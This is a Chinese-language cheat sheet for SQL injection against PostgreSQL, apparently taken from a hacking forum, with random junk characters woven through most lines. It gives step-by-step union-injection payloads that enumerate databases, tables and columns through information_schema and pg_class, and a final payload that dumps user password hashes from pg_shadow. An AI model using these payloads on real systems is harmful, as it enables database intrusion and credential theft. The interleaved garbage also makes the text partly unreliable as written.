结合了MSSQL MySQL Oracle的一些特点" q! I4 X8 b2 ~* V; e T; J
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/! ?' C8 A* u% \5 u3 i" M
连接符: %20 , + , /**/ 内置函数:
* V$ G! ^8 j- H/ Y) ]& scurrent_database() //当前数据库名9 c2 j& j% G# ]) t0 I
session_user //会话用户
% H2 `% H, t8 i5 [- ycurrent_user //当前数据库用户6 h7 r3 T% E& {
user //当前用户
2 Y! @8 X" V# F' x: f1 bversion() //数据库版本 Union注射:
# a& l+ I2 W. |order by n–
4 c: t9 Y% J& S/ H+ v& v2 oand 1=2 union select null,null,null–- ~6 _2 i# E4 w
and 1=2 union select ‘beach’,null,null–
& x+ n: c& @" [and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
' w& P+ O8 s+ g- k- t& Fgroup_concat(table_name)2 c, ]+ a" M. o1 a; j0 X5 a
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–/ H' _8 l! g9 B! i! ^
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
+ `* Y4 C3 j0 v- J+ w( t5 h5 A(老版本)( @. r0 k8 j& X. A z9 T: k
pg_class.oid对应pg_attribute.attrelid2 ]: a/ [5 ?6 }! R2 \) K% V( _
pg_class.relname表名+ r" x: O6 _( ~1 Z/ W- H# C* t7 J
pg_attribute.attname字段名 select relname from pg_class获取表名
" i9 |0 J) |* P* B7 _/ [select oid from pg_class where 条件 获取参数
# G; D% b, @" w* W8 }select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:: Y( u* L$ l3 J
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
$ @. ^" c+ ]2 M9 U% Cand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
- |" H$ K1 c" V( S2 Q! j0 _9 ~由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名7 t7 T2 S) Y- V# K4 X2 W+ M
======================================================================3 ~& h1 D# T; X8 Z+ ~ n
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
; g6 {% r& D+ k# dand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |